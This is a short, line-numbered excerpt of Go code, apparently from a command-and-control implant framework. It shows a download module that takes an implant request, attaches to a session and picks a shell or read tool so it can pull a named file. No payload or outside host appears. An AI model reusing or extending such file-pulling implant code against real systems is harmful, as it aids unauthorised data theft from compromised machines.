(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)
| 18 | func (m *DownloadModule) Name() string { return consts.ModuleDownload } |
| 19 | |
| 20 | func (m *DownloadModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) { |
| 21 | dReq := spite.GetDownloadRequest() |
| 22 | if dReq == nil { |
| 23 | ctx.SendSpite(sessionID, taskID, execSpite("missing DownloadRequest")) |
| 24 | ctx.Tasks.Fail(sessionID, taskID, "missing DownloadRequest") |
| 25 | return |
| 26 | } |
| 27 | |
| 28 | sess := ctx.WaitForSession(sessionID, DefaultSessionTimeout) |
| 29 | if sess == nil { |
| 30 | log.Warnf("[bridge] session %s not found for download injection", sessionID) |
| 31 | ctx.Tasks.Fail(sessionID, taskID, "session not found") |
| 32 | return |
| 33 | } |
| 34 | ctx.Tasks.StartSessionListener(sessionID) |
| 35 | |
| 36 | shellTool := sessions.PickShellTool(sess) |
| 37 | if shellTool == "" { |
| 38 | // No shell tool: fall back to direct Read. |
| 39 | m.handleDirectDownload(ctx, sessionID, taskID, sess, dReq.Path) |
| 40 | return |
| 41 | } |
| 42 | |
| 43 | // Probe file size, then decide strategy. |
| 44 | m.probeAndDownload(ctx, sessionID, taskID, sess, shellTool, dReq.Path) |
| 45 | } |
| 46 | |
| 47 | func (m *DownloadModule) handleDirectDownload(ctx ModuleContext, sessionID string, taskID uint32, sess *sessions.Session, filePath string) { |
| 48 | toolName := sessions.PickReadTool(sess) |
nothing calls this directly
no test coverage detected